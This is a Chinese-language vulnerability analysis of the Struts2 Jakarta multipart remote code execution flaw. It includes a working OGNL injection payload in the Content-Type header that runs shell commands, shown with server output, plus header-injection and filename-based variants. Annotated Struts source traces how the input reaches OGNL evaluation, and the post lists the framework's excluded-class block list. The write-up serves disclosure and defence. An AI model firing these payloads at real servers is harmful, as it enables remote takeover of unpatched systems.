本文讲的是
深度剖析Struts2远程代码执行漏洞,
Struts 2.3.5 - Struts 2.3.31 Struts 2.5 - Struts 2.5.10
POST /struts2-showcase/fileupload/doUpload.action HTTP/1.1 Host: localhost:8080 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: ${(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())} Content-Length: 0
HTTP/1.1 200 OK Set-Cookie: JSESSIONID=16cuhw2qmanji1axbayhcp10kn;Path=/struts2-showcase Expires: Thu, 01 Jan 1970 00:00:00 GMT Server: Jetty(8.1.16.v20140903) Content-Length: 11 testwebuser
2017-03-24 13:44:39,625 WARN [qtp373485230-21] multipart.JakartaMultiPartRequest (JakartaMultiPartRequest.java:69) - Request exceeded size limit! org.apache.commons.fileupload.FileUploadBase$InvalidContentTypeException: the request doesn't contain a multipart/form-data or multipart/mixed stream, content type header is ${(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())} at org.apache.commons.fileupload.FileUploadBase$FileItemIteratorImpl.(FileUploadBase.java:948) ~[commons-fileupload-1.3.2.jar:1.3.2] at org.apache.commons.fileupload.FileUploadBase.getItemIterator(FileUploadBase.java:310) ~[commons-fileupload-1.3.2.jar:1.3.2] at org.apache.commons.fileupload.FileUploadBase.parseRequest(FileUploadBase.java:334) ~[commons-fileupload-1.3.2.jar:1.3.2] at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.parseRequest(JakartaMultiPartRequest.java:147) ~[struts2-core-2.5.10.jar:2.5.10] at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.processUpload(JakartaMultiPartRequest.java:91) ~[struts2-core-2.5.10.jar:2.5.10] at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.parse(JakartaMultiPartRequest.java:67) [struts2-core-2.5.10.jar:2.5.10] at org.apache.struts2.dispatcher.multipart.MultiPartRequestWrapper.(MultiPartRequestWrapper.java:86) [struts2-core-2.5.10.jar:2.5.10] at org.apache.struts2.dispatcher.Dispatcher.wrapRequest(Dispatcher.java:806) [struts2-core-2.5.10.jar:2.5.10] [..snip..]
core/src/main/java/org/apache/struts2/dispatcher/multipart/JakartaMultiPartRequest.java:90: protected void processUpload(HttpServletRequest request, String saveDir) throws FileUploadException, UnsupportedEncodingException {91: for (FileItem item : parseRequest(request, saveDir)) {92: LOG.debug("Found file item: [{}]", item.getFieldName());93: if (item.isFormField()) {94: processNormalFormField(item, request.getCharacterEncoding());95: } else {96: processFileField(item);97: }98: }99: }[..snip..]144: protected List<FileItem> parseRequest(HttpServletRequest servletRequest, String saveDir) throws FileUploadException {145: DiskFileItemFactory fac = createDiskFileItemFactory(saveDir);146: ServletFileUpload upload = createServletFileUpload(fac);147: return upload.parseRequest(createRequestContext(servletRequest));148: }149: 150: protected ServletFileUpload createServletFileUpload(DiskFileItemFactory fac) {151: ServletFileUpload upload = new ServletFileUpload(fac);152: upload.setSizeMax(maxSize);153: return upload;154: }
core/src/main/java/org/apache/struts2/dispatcher/multipart/JakartaMultiPartRequest.java:64: public void parse(HttpServletRequest request, String saveDir) throws IOException {65: try {66: setLocale(request);67: processUpload(request, saveDir);68: } catch (FileUploadException e) {69: LOG.warn("Request exceeded size limit!", e);70: LocalizedMessage errorMessage;71: if(e instanceof FileUploadBase.SizeLimitExceededException) {72: FileUploadBase.SizeLimitExceededException ex = (FileUploadBase.SizeLimitExceededException) e;73: errorMessage = buildErrorMessage(e, new Object[]{ex.getPermittedSize(), ex.getActualSize()});74: } else {75: errorMessage = buildErrorMessage(e, new Object[]{});76: }77:78: if (!errors.contains(errorMessage)) {79: errors.add(errorMessage);80: }81: } catch (Exception e) {82: LOG.warn("Unable to parse request", e);83: LocalizedMessage errorMessage = buildErrorMessage(e, new Object[]{});84: if (!errors.contains(errorMessage)) {85: errors.add(errorMessage);86: }87: }88: }
core/src/main/java/org/apache/struts2/dispatcher/multipart/AbstractMultiPartRequest.java:98: protected LocalizedMessage buildErrorMessage(Throwable e, Object[] args) {99: String errorKey = "struts.messages.upload.error." + e.getClass().getSimpleName();100: LOG.debug("Preparing error message for key: [{}]", errorKey);101: 102: return new LocalizedMessage(this.getClass(), errorKey, e.getMessage(), args);103: }
core/src/main/java/org/apache/struts2/dispatcher/multipart/MultiPartRequestWrapper.java:77: public MultiPartRequestWrapper(MultiPartRequest multiPartRequest, HttpServletRequest request,78: String saveDir, LocaleProvider provider,79: boolean disableRequestAttributeValueStackLookup) {80: super(request, disableRequestAttributeValueStackLookup);[..snip..]85: try {86: multi.parse(request, saveDir);87: for (LocalizedMessage error : multi.getErrors()) {88: addError(error);89: }
core/src/main/java/org/apache/struts2/dispatcher/Dispatcher.java:794: public HttpServletRequest wrapRequest(HttpServletRequest request) throws IOException {795: // don't wrap more than once796: if (request instanceof StrutsRequestWrapper) {797: return request;798: }799:800: String content_type = request.getContentType();801: if (content_type != null && content_type.contains("multipart/form-data")) {802: MultiPartRequest mpr = getMultiPartRequest();803: LocaleProvider provider = getContainer().getInstance(LocaleProvider.class);804: request = new MultiPartRequestWrapper(mpr, request, getSaveDir(), provider, disableRequestAttributeValueStackLookup);805: } else {806: request = new StrutsRequestWrapper(request, disableRequestAttributeValueStackLookup);807: }808:809: return request;810: }
core/src/main/java/org/apache/struts2/interceptor/FileUploadInterceptor.java:237: public String intercept(ActionInvocation invocation) throws Exception {238: ActionContext ac = invocation.getInvocationContext();239:240: HttpServletRequest request = (HttpServletRequest) ac.get(ServletActionContext.HTTP_REQUEST);241:242: if (!(request instanceof MultiPartRequestWrapper)) {243: if (LOG.isDebugEnabled()) {244: ActionProxy proxy = invocation.getProxy();245: LOG.debug(getTextMessage("struts.messages.bypass.request", new String[]{proxy.getNamespace(), proxy.getActionName()}));246: }247:248: return invocation.invoke();249: }250:[..snip..]259: MultiPartRequestWrapper multiWrapper = (MultiPartRequestWrapper) request;260:261: if (multiWrapper.hasErrors()) {262: for (LocalizedMessage error : multiWrapper.getErrors()) {263: if (validation != null) {264: validation.addActionError(LocalizedTextUtil.findText(error.getClazz(), error.getTextKey(), ActionContext.getContext().getLocale(), error.getDefaultMessage(), error.getArgs()));265: }266: }267: }
aClassName设置为AbstractMultiPartRequest aTextName设置为错误的textKey,这是struts.messages.upload.error.InvalidContentTypeException。 区域设置设置为ActionContext的区域设置。 defaultMessage是我们作为字符串感染的异常消息。 Args是一个空数组。
397: /**398: * <p>399: * Finds a localized text message for the given key, aTextName. Both the key and the message400: * itself is evaluated as required. The following algorithm is used to find the requested401: * message:402: * </p>403: *404: * <ol>405: * <li>Look for message in aClass' class hierarchy.406: * <ol>407: * <li>Look for the message in a resource bundle for aClass</li>408: * <li>If not found, look for the message in a resource bundle for any implemented interface</li>409: * <li>If not found, traverse up the Class' hierarchy and repeat from the first sub-step</li>410: * </ol></li>411: * <li>If not found and aClass is a {@link ModelDriven} Action, then look for message in412: * the model's class hierarchy (repeat sub-steps listed above).</li>413: * <li>If not found, look for message in child property. This is determined by evaluating414: * the message key as an OGNL expression. For example, if the key is415: * <i>user.address.state</i>, then it will attempt to see if "user" can be resolved into an416: * object. If so, repeat the entire process fromthe beginning with the object's class as417: * aClass and "address.state" as the message key.</li>418: * <li>If not found, look for the message in aClass' package hierarchy.</li>419: * <li>If still not found, look for the message in the default resource bundles.</li>420: * <li>Return defaultMessage</li>421: * </ol>
core/src/main/java/com/opensymphony/xwork2/util/LocalizedTextUtil.java:570: // get default571: GetDefaultMessageReturnArg result;572: if (indexedTextName == null) {573: result = getDefaultMessage(aTextName, locale, valueStack, args, defaultMessage);574: } else {575: result = getDefaultMessage(aTextName, locale, valueStack, args, null);576: if (result != null && result.message != null) {577: return result.message;578: }579: result = getDefaultMessage(indexedTextName, locale, valueStack, args, defaultMessage);580: }
core/src/main/java/com/opensymphony/xwork2/util/LocalizedTextUtil.java:714: private static GetDefaultMessageReturnArg getDefaultMessage(String key, Locale locale, ValueStack valueStack, Object[] args,715: String defaultMessage) {716: GetDefaultMessageReturnArg result = null;717: boolean found = true;718:719: if (key != null) {720: String message = findDefaultText(key, locale);721:722: if (message == null) {723: message = defaultMessage;724: found = false; // not found in bundles725: }726:727: // defaultMessage may be null728: if (message != null) {729: MessageFormat mf = buildMessageFormat(TextParseUtil.translateVariables(message, valueStack), locale);730:731: String msg = formatWithNullDetection(mf, args);732: result = new GetDefaultMessageReturnArg(msg, found);733: }734: }735:736: return result;737: }
core/src/main/java/com/opensymphony/xwork2/util/TextParseUtil.java:34: /**35: * Converts all instances of ${...}, and %{...} in <code>expression</code> to the value returned36: * by a call to {@link ValueStack#findValue(java.lang.String)}. If an item cannot37: * be found on the stack (null is returned), then the entire variable ${...} is not38: * displayed, just as if the item was on the stack but returned an empty string.39: *40: * @param expression an expression that hasn't yet been translated41: * @param stack value stack42: * @return the parsed expression43: */44: public static String translateVariables(String expression, ValueStack stack) {45: return translateVariables(new char[]{'$', '%'}, expression, stack, String.class, null).toString();46: }[..snip..]152: public static Object translateVariables(char[] openChars, String expression, final ValueStack stack, final Class asType, final ParsedValueEvaluator evaluator, int maxLoopCount) {153:154: ParsedValueEvaluator ognlEval = new ParsedValueEvaluator() {155: public Object evaluate(String parsedValue) {156: Object o = stack.findValue(parsedValue, asType);157: if (evaluator != null && o != null) {158: o = evaluator.evaluate(o.toString());159: }160: return o;161: }162: };163:164: TextParser parser = ((Container)stack.getContext().get(ActionContext.CONTAINER)).getInstance(TextParser.class);165:166: return parser.evaluate(openChars, expression, ognlEval, maxLoopCount);167: }
POST /struts2-showcase/fileupload/doUpload.action HTTP/1.1 Host: localhost:8080 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: ${(#_='multipart/form-data').(#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Struts-Exploit-Test','GDSTEST'))} Content-Length: 0
HTTP/1.1 200 OK Set-Cookie: JSESSIONID=1wq4m7r2pkjqfak2zaj4e12kn;Path=/struts2-showcase Expires: Thu, 01 Jan 1970 00:00:00 GMT Content-Type: text/html [..snip..]
17-03-24 12:48:30,904 WARN [qtp18233895-25] ognl.SecurityMemberAccess (SecurityMemberAccess.java:74) - Package of target [com.opensymphony.sitemesh.webapp.ContentBufferingResponse@9f1cfe2] or package of member [public void javax.servlet.http.HttpServletResponseWrapper.addHeader(java.lang.String,java.lang.String)] are excluded!
core/src/main/resources/struts-default.xml:41: <constant name="struts.excludedClasses"42: value="43: java.lang.Object,44: java.lang.Runtime,45: java.lang.System,46: java.lang.Class,47: java.lang.ClassLoader,48: java.lang.Shutdown,49: java.lang.ProcessBuilder,50: ognl.OgnlContext,51: ognl.ClassResolver,52: ognl.TypeConverter,53: ognl.MemberAccess,54: ognl.DefaultMemberAccess,55: com.opensymphony.xwork2.ognl.SecurityMemberAccess,56: com.opensymphony.xwork2.ActionContext">57: [..snip..]63: <constant name="struts.excludedPackageNames" value="java.lang.,ognl,
POST /struts2-showcase/fileupload/doUpload.action HTTP/1.1 Host: localhost:8080 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: ${(#_='multipart/form-data').(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Struts-Exploit-Test','GDSTEST'))}} Content-Length: 0
HTTP/1.1 200 OK Set-Cookie: JSESSIONID=avmifel7x66q9cmnsrr8lq0s;Path=/struts2-showcase Expires: Thu, 01 Jan 1970 00:00:00 GMT X-Struts-Exploit-Test: GDSTEST Content-Type: text/html [..snip..]
POST /struts2-showcase/ HTTP/1.1 Host: localhost:8080 Content-Type: multipart/form-data; boundary=---------------------------1313189278108275512788994811 Content-Length: 570 -----------------------------1313189278108275512788994811 Content-Disposition: form-data; name="upload"; filename="a%00${(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Struts-Exploit-Test','GDSTEST'))}” Content-Type: text/html test -----------------------------1313189278108275512788994811--
HTTP/1.1 404 No result defined for action com.opensymphony.xwork2.ActionSupport and result input Set-Cookie: JSESSIONID=hu1m7hcdnixr1h14hn51vyzhy;Path=/struts2-showcase X-Struts-Exploit-Test: GDSTEST Content-Type: text/html;charset=ISO-8859-1 [..snip..]
2017-03-24 15:21:29,729 WARN [qtp1168849885-26] multipart.JakartaMultiPartRequest (JakartaMultiPartRequest.java:82) - Unable to parse request org.apache.commons.fileupload.InvalidFileNameException: Invalid file name: a${(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Struts-Exploit-Test','GDSTEST'))} at org.apache.commons.fileupload.util.Streams.checkFileName(Streams.java:189) ~[commons-fileupload-1.3.2.jar:1.3.2] at org.apache.commons.fileupload.disk.DiskFileItem.getName(DiskFileItem.java:259) ~[commons-fileupload-1.3.2.jar:1.3.2] at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.processFileField(JakartaMultiPartRequest.java:105) ~[struts2-core-2.5.10.jar:2.5.10] at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.processUpload(JakartaMultiPartRequest.java:96) ~[struts2-core-2.5.10.jar:2.5.10] at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.parse(JakartaMultiPartRequest.java:67) [struts2-core-2.5.10.jar:2.5.10] at org.apache.struts2.dispatcher.multipart.MultiPartRequestWrapper.(MultiPartRequestWrapper.java:86) [struts2-core-2.5.10.jar:2.5.10] at org.apache.struts2.dispatcher.Dispatcher.wrapRequest(Dispatcher.java:806) [struts2-core-2.5.10.jar:2.5.10]
core/src/main/java/org/apache/struts2/dispatcher/multipart/JakartaMultiPartRequest.java:90: protected void processUpload(HttpServletRequest request, String saveDir) throws FileUploadException, UnsupportedEncodingException {91: for (FileItem item : parseRequest(request, saveDir)) {92: LOG.debug("Found file item: [{}]", item.getFieldName());93: if (item.isFormField()) {94: processNormalFormField(item, request.getCharacterEncoding());95: } else {96: processFileField(item);97: }98: }99: }[..snip..]101: protected void processFileField(FileItem item) {102: LOG.debug("Item is a file upload");103: 104: // Skip file uploads that don't have a file name - meaning that no file was selected.105: if (item.getName() == null || item.getName().trim().length() < 1) {106: LOG.debug("No file has been uploaded for the field: {}", item.getFieldName());107: return;108: }109: 110: List<FileItem> values;111: if (files.get(item.getFieldName()) != null) {112: values = files.get(item.getFieldName());113: } else {114: values = new ArrayList<>();115: }116: 117: values.add(item);118: files.put(item.getFieldName(), values);119: }
<constant name="struts.custom.i18n.resources" value="global" />
struts.messages.upload.error.InvalidContentTypeException=1
原文发布时间为:2017年4月6日
本文作者:xiaohui
本文来自云栖社区合作伙伴嘶吼,了解相关信息可以关注嘶吼网站。